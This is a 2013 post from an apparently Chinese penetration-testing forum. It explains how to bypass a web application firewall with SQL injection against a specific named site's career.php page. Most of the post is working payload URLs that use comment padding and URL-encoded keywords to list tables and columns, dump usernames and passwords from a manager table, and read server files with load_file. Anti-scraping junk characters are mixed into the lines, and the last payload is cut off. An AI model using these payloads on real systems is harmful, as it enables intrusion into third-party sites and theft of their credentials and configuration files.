中国网络渗透测试联盟

标题: 绕过waf注入 [打印本页]
作者: admin    时间: 2013-3-8 21:51
标题: 绕过waf注入
waf过滤了 union select  from 等关键词
. l: k1 b' c' S9 ]2 ?2 F! z4 d  F0 S% Q& g4 B) L, W4 \

0 }2 l. R, j6 l2 o- Y8 Q1.列当前库所有表5 @$ }7 o0 f+ j; m0 }' D
http://jyht.co.uk/career.php
& ?' ^6 A7 L0 o- ]?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,%28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%54%41%42%4C%45%53%20%41%53%20%69%20%57%48%45%52%45%20%69%2E%54%41%42%4C%45%5F%53%43%48%45%4D%41%20%3D%20%64%61%74%61%62%61%73%65%28%29%29,6,7,8,9,10,11,12,13,14,15,16,17,18
8 i. n) o; R1 P$ T: b4 k# k* ?; t8 R ; z6 k8 W6 r7 Z
2.获取字段- P$ N, O) B7 p, t3 _
http://jyht.co.uk/career.php: ?/ T! V# L* G: G- D9 ?. z! S
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat(COLUMN_NAME,0x3C2F62723E),6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%43%4F%4C%55%4D%4E%53%20%77%68%65%72%65%20%54%41%42%4C%45%5F%4E%41%4D%45%3D%30%78%36%44%36%31%36%45%36%31%36%37%36%35%37%32
3 b+ Z* H& H& |& M/ }: `
3 X9 E7 m# s$ E% ?: W! N3.直接获取数据: P5 n' `- f( s3 p7 b
http://jyht.co.uk/career.php% M# I. t/ G# z% d# J8 k
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat(id,0x3d,username,0x3d,password,0x3C62722F3E),5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D/**/%6D%61%6E%61%67%65%72# E: I& D5 B( D0 t) u9 b7 G4 `

2 ]4 u- l9 A: H) l% G/ Y; X
# B. c/ o5 \5 e4 g+ ^  W9 {' ~4.读文件 可以不用hex  直接在页面显示(必须是root)
" p, ^) h3 ]& w9 J. M  o9 bhttp://jyht.co.uk/career.php
6 O0 Y8 i1 d0 J! u. w8 o?id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex(load_file(0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E70687



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2